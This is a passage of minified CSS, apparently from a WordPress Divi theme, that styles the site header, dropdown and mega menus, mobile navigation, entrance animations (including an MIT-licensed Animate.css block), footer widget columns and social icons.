!important}.et_search_outer{width:100%;overflow:hidden;position:absolute;top:0}.container.et_pb_menu_hidden{z-index:-1}form.et-search-form{background:rgba(0,0,0,0) !important}input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.et-cart-info{color:inherit}#et-top-navigation .et-cart-info{float:left;margin:-2px 0 0 22px;font-size:16px}#et-top-navigation{float:right}#top-menu li li{padding:0 20px;margin:0}#top-menu li li a{padding:6px 20px;width:200px}.nav li.et-touch-hover>ul{opacity:1;visibility:visible}#top-menu .menu-item-has-children>a:first-child:after,#et-secondary-nav .menu-item-has-children>a:first-child:after{font-family:'ETmodules';content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}#top-menu .menu-item-has-children>a:first-child,#et-secondary-nav .menu-item-has-children>a:first-child{padding-right:20px}#top-menu li .menu-item-has-children>a:first-child{padding-right:40px}#top-menu li .menu-item-has-children>a:first-child:after{right:20px;top:6px}#top-menu li.mega-menu{position:inherit}#top-menu li.mega-menu>ul{padding:30px 20px;position:absolute !important;width:100%;left:0 !important}#top-menu li.mega-menu ul li{margin:0;float:left !important;display:block !important;padding:0 !important}#top-menu li.mega-menu>ul>li:nth-of-type(4n){clear:right}#top-menu li.mega-menu>ul>li:nth-of-type(4n+1){clear:left}#top-menu li.mega-menu ul li li{width:100%}#top-menu li.mega-menu li>ul{-webkit-animation:none !important;animation:none !important;padding:0px;border:none;left:auto;top:auto;width:90% !important;position:relative;-webkit-box-shadow:none;box-shadow:none}#top-menu li.mega-menu li ul{visibility:visible;opacity:1;display:none}#top-menu li.mega-menu.et-hover li ul{display:block}#top-menu li.mega-menu.et-hover>ul{opacity:1 !important;visibility:visible !important}#top-menu li.mega-menu>ul>li>a{width:90%;padding:0 20px 10px}#top-menu li.mega-menu>ul>li>a:first-child{padding-top:0 !important;font-weight:bold;border-bottom:1px solid rgba(0,0,0,0.03)}#top-menu li.mega-menu>ul>li>a:first-child:hover{background-color:transparent !important}#top-menu li.mega-menu li>a{width:100%}#top-menu li.mega-menu.mega-menu-parent li li,#top-menu li.mega-menu.mega-menu-parent li>a{width:100% !important}#top-menu li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100% !important}#top-menu li.mega-menu>ul>li{width:25%;margin:0}#top-menu li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}#top-menu li.mega-menu.mega-menu-parent-2>ul>li{width:50%}#top-menu li.mega-menu.mega-menu-parent-1>ul>li{width:100%}#top-menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}#top-menu li.mega-menu>ul>li>ul>li{width:100%;margin:0}#et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before,.et_toggle_slide_menu:after{content:"\61";font-size:32px;left:0;position:relative;top:0;cursor:pointer}.mobile_nav .select_page{display:none}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .et-cart-info{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .et-cart-info{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .mobile_menu_bar{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .mobile_menu_bar{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_no_animation #top-menu,.et_pb_no_animation #et_search_icon:before,.et_pb_no_animation .mobile_menu_bar,.et_pb_no_animation.et_search_form_container{animation:none !important;-o-animation:none !important;-webkit-animation:none !important;-moz-animation:none !important}body.admin-bar.et_fixed_nav #main-header{top:32px}body.et-wp-pre-3_8.admin-bar.et_fixed_nav #main-header{top:28px}body.et_fixed_nav.et_secondary_nav_enabled #main-header{top:30px}body.admin-bar.et_fixed_nav.et_secondary_nav_enabled #main-header{top:63px}@media all and (min-width: 981px){.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container,.et_hide_fixed_logo #main-header.et-fixed-header .logo_container{height:0;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et_hide_primary_logo #main-header:not(.et-fixed-header) .centered-inline-logo-wrap,.et_hide_fixed_logo #main-header.et-fixed-header .centered-inline-logo-wrap{height:0;opacity:0;padding:0}.et-animated-content#page-container{-webkit-transition:margin-top 0.4s ease-in-out;transition:margin-top 0.4s ease-in-out}.et_hide_nav #page-container{-webkit-transition:none;transition:none}.et_fullwidth_nav .et-search-form,.et_fullwidth_nav .et_close_search_field{right:30px}#main-header.et-fixed-header{-webkit-box-shadow:0 0 7px rgba(0,0,0,0.1) !important;box-shadow:0 0 7px rgba(0,0,0,0.1) !important}.et_header_style_left .et-fixed-header #et-top-navigation{padding-top:20px}.et_header_style_left .et-fixed-header #et-top-navigation nav>ul>li>a{padding-bottom:20px}.et_hide_nav.et_fixed_nav #main-header{opacity:0}.et_hide_nav.et_fixed_nav .et-fixed-header#main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}.et_hide_nav .centered-inline-logo-wrap,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav .centered-inline-logo-wrap{-webkit-transition-duration:.7s;transition-duration:.7s}.et_hide_nav #page-container{padding-top:0 !important}.et_primary_nav_dropdown_animation_fade #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_fade #et-secondary-nav li:hover>ul{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.et_primary_nav_dropdown_animation_slide #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_slide #et-secondary-nav li:hover>ul{-webkit-animation:fadeLeft .4s ease-in-out;animation:fadeLeft .4s ease-in-out}.et_primary_nav_dropdown_animation_expand #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_expand #et-secondary-nav li:hover>ul{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-animation:Grow .4s ease-in-out;animation:Grow .4s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav ul li:hover>ul{-webkit-animation:flipInX .6s ease-in-out;animation:flipInX .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav li:hover>ul{-webkit-animation:flipInY .6s ease-in-out;animation:flipInY .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_fullwidth_nav #main-header .container{width:100%;max-width:100%;padding-right:32px;padding-left:30px}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left #main-header .container{padding-left:0}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left .logo_container{padding-left:30px}}@media all and (max-width: 980px){.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_non_fixed_nav #page-container{padding-top:0}.et_fixed_nav.et_secondary_nav_only_menu.admin-bar #main-header{top:32px !important}.et_hide_mobile_logo #main-header .logo_container{display:none;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#top-menu{display:none}.et_hide_nav.et_fixed_nav #main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}#et-top-navigation{margin-right:0;-webkit-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left .et-fixed-header #et-top-navigation,.et_header_style_left #et-top-navigation{padding-top:24px;display:block}.et_fixed_nav #main-header{-webkit-transition:none;transition:none}.et_fixed_nav_temp #main-header{top:0 !important}#logo,.logo_container,#main-header,.container{-webkit-transition:none;transition:none}.et_header_style_left #logo{max-width:50%}#et_top_search{margin:0 35px 0 0;float:left}#et_search_icon:before{top:7px}.et_header_style_left .et-search-form{width:50% !important;max-width:50% !important}#et_mobile_nav_menu{display:block}#et-top-navigation .et-cart-info{margin-top:5px}}@media screen and (max-width: 782px){body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 767px){#et-top-navigation{margin-right:0}body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 479px){#et-top-navigation{margin-right:0}}@media print{#top-header,#main-header{position:relative !important;top:auto !important;right:auto !important;bottom:auto !important;left:auto !important}}
@-webkit-keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@-webkit-keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@-webkit-keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}/*!
	  * Animate.css - http://daneden.me/animate
	  * Licensed under the MIT license - http://opensource.org/licenses/MIT
	  * Copyright (c) 2015 Daniel Eden
	 */@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}
#main-header{line-height:23px;font-weight:500;top:0;background-color:#fff;width:100%;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);position:relative;z-index:99999}.nav li li{padding:0 20px;margin:0}.et-menu li li a{padding:6px 20px;width:200px}.nav li{position:relative;line-height:1em}.nav li li{position:relative;line-height:2em}.nav li ul{position:absolute;padding:20px 0;z-index:9999;width:240px;background:#fff;visibility:hidden;opacity:0;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-transform:translateZ(0);text-align:left}.nav li.et-hover>ul{visibility:visible}.nav li.et-touch-hover>ul,.nav li:hover>ul{opacity:1;visibility:visible}.nav li li ul{z-index:1000;top:-23px;left:240px}.nav li.et-reverse-direction-nav li ul{left:auto;right:240px}.nav li:hover{visibility:inherit}.et_mobile_menu li a,.nav li li a{font-size:14px;-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.et_mobile_menu li a:hover,.nav ul li a:hover{background-color:rgba(0,0,0,.03);opacity:.7}.et-dropdown-removing>ul{display:none}.mega-menu .et-dropdown-removing>ul{display:block}.et-menu .menu-item-has-children>a:first-child:after{font-family:ETmodules;content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}.et-menu .menu-item-has-children>a:first-child{padding-right:20px}.et-menu li li.menu-item-has-children>a:first-child:after{right:20px;top:6px}.et-menu-nav li.mega-menu{position:inherit}.et-menu-nav li.mega-menu>ul{padding:30px 20px;position:absolute!important;width:100%;left:0!important}.et-menu-nav li.mega-menu ul li{margin:0;float:left!important;display:block!important;padding:0!important}.et-menu-nav li.mega-menu li>ul{-webkit-animation:none!important;animation:none!important;padding:0;border:none;left:auto;top:auto;width:240px!important;position:relative;box-shadow:none;-webkit-box-shadow:none}.et-menu-nav li.mega-menu li ul{visibility:visible;opacity:1;display:none}.et-menu-nav li.mega-menu.et-hover li ul,.et-menu-nav li.mega-menu:hover li ul{display:block}.et-menu-nav li.mega-menu:hover>ul{opacity:1!important;visibility:visible!important}.et-menu-nav li.mega-menu>ul>li>a:first-child{padding-top:0!important;font-weight:700;border-bottom:1px solid rgba(0,0,0,.03)}.et-menu-nav li.mega-menu>ul>li>a:first-child:hover{background-color:transparent!important}.et-menu-nav li.mega-menu li>a{width:200px!important}.et-menu-nav li.mega-menu.mega-menu-parent li>a,.et-menu-nav li.mega-menu.mega-menu-parent li li{width:100%!important}.et-menu-nav li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100%!important}.et-menu-nav li.mega-menu>ul>li{width:25%;margin:0}.et-menu-nav li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}.et-menu-nav li.mega-menu.mega-menu-parent-2>ul>li{width:50%}.et-menu-nav li.mega-menu.mega-menu-parent-1>ul>li{width:100%}.et_pb_fullwidth_menu li.mega-menu .menu-item-has-children>a:first-child:after,.et_pb_menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}.et_fullwidth_nav #top-menu li.mega-menu>ul{width:auto;left:30px!important;right:30px!important}.et_mobile_menu{position:absolute;left:0;padding:5%;background:#fff;width:100%;visibility:visible;opacity:1;display:none;z-index:9999;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1)}#main-header .et_mobile_menu li ul,.et_pb_fullwidth_menu .et_mobile_menu li ul,.et_pb_menu .et_mobile_menu li ul{visibility:visible!important;display:block!important;padding-left:10px}.et_mobile_menu li li{padding-left:5%}.et_mobile_menu li a{border-bottom:1px solid rgba(0,0,0,.03);color:#666;padding:10px 5%;display:block}.et_mobile_menu .menu-item-has-children>a{font-weight:700;background-color:rgba(0,0,0,.03)}.et_mobile_menu li .menu-item-has-children>a{background-color:transparent}.et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before{content:"a";font-size:32px;position:relative;left:0;top:0;cursor:pointer}.et_pb_module .mobile_menu_bar:before{top:2px}.mobile_nav .select_page{display:none}
.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
